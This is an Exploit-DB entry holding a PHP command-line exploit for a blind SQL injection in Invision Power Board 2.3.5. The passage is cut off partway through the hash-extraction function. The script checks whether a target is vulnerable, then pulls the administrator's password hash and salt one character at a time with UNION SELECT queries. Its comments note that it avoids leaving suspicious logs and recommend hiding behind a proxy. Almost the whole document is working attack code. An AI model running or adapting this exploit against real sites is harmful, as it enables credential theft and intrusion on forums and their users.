Exploit-DB #6507
Description: Invision Power Board 2.3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: waraxe

Exploit:
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.0
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 20. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html 
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id = 1;// ID of the target user, default value "1" is admin's ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_[CREDENTIAL_REDACTED]:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
	if(!isset($_REQUEST['wtf-is-cli']))
	{ 
		echo "<html><head><title>Attention!</title></head>\n";
		echo "<body><br /><br /><center>\n";
		echo "<h1>Warning!</h1>\n";
		echo "This exploit is meant to be used as php CLI script!<br />\n";
		echo "More information:<br />\n";
		echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
		echo "Still, you can try to run it from webserver.<br />\n";
		echo "Just press the button below and prepare for long waiting<br />\n";
		echo "And learn to use php CLI next time, please ...<br />\n";
		echo "<form method=\"get\">\n";
		echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
		echo "</form>\n";
		echo "</center></body></html>\n";
		exit;
	}
	else
	{
		// Let's try to maximize our chances without CLI
		@set_time_limit(0);
	}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
xecho("Testing target ID ... \n");
test_target_id();
xecho("Target ID seems to be valid\n");

$hash = get_hash();
$salt = get_salt();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
add_line("Salt: $salt");
add_line("------------------------------------------");

xecho("\n------------------------------------------\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
	global $url;
	
	$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
	$buff = trim(make_post($url, $post, '', $url));
	if($buff !== 'found')
	{
		die('Invalid response, target URL not valid? Exiting ...');
	}
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
	global $url, $prefix, $id;
	
	$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
	if(!test_condition($post))
	{
		die('Invalid response, target ID not valid? Exiting ...');
	}
}
///////////////////////////////////////////////////////////////////////
function get_salt()
{
	$len = 5;
	$out = '';
	
	xecho("Finding salt ...\n");
	
	for($i = 1; $i < $len + 1; $i ++)
	{
		$ch = get_saltchar($i);
		xecho("Got pos $i --> $ch\n");
		$out .= "$ch";
		xecho("Current salt: $out \n");
	}
	
	xecho("\nFinal salt: $out\n\n");
	
	return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos)
{
	global $prefix, $id;

	$char = '';
	$min = 32;
	$max = 128;
	$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
	$curr = 0;
	
	while(1)
	{
		$area = $max - $min;
		if($area < 2 )
		{
			$post = $pattern . "=$max";
			$eq = test_condition($post);
			
			if($eq)
			{
				$char = chr($max);
			}
			else
			{
				$char = chr($min);
			}
			
			break;
		}
		
		$half = intval(floor($area / 2));
		$curr = $min + $half;
		
		$post = $pattern . '%253e' . $curr;
		
		$bigger = test_condition($post);
		
		if($bigger)
		{
			$min = $curr;
		}
		else
		{
			$max = $curr;
		}

		xecho("Current test: $curr-$max-$min\n");
	}
	
	return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
	$len = 32;
	$out = '';
	
	xecho("Finding hash ...\n");
	
	for($i = 1; $i < $len + 1; $i ++)
	{
		$ch = get_hashchar($i)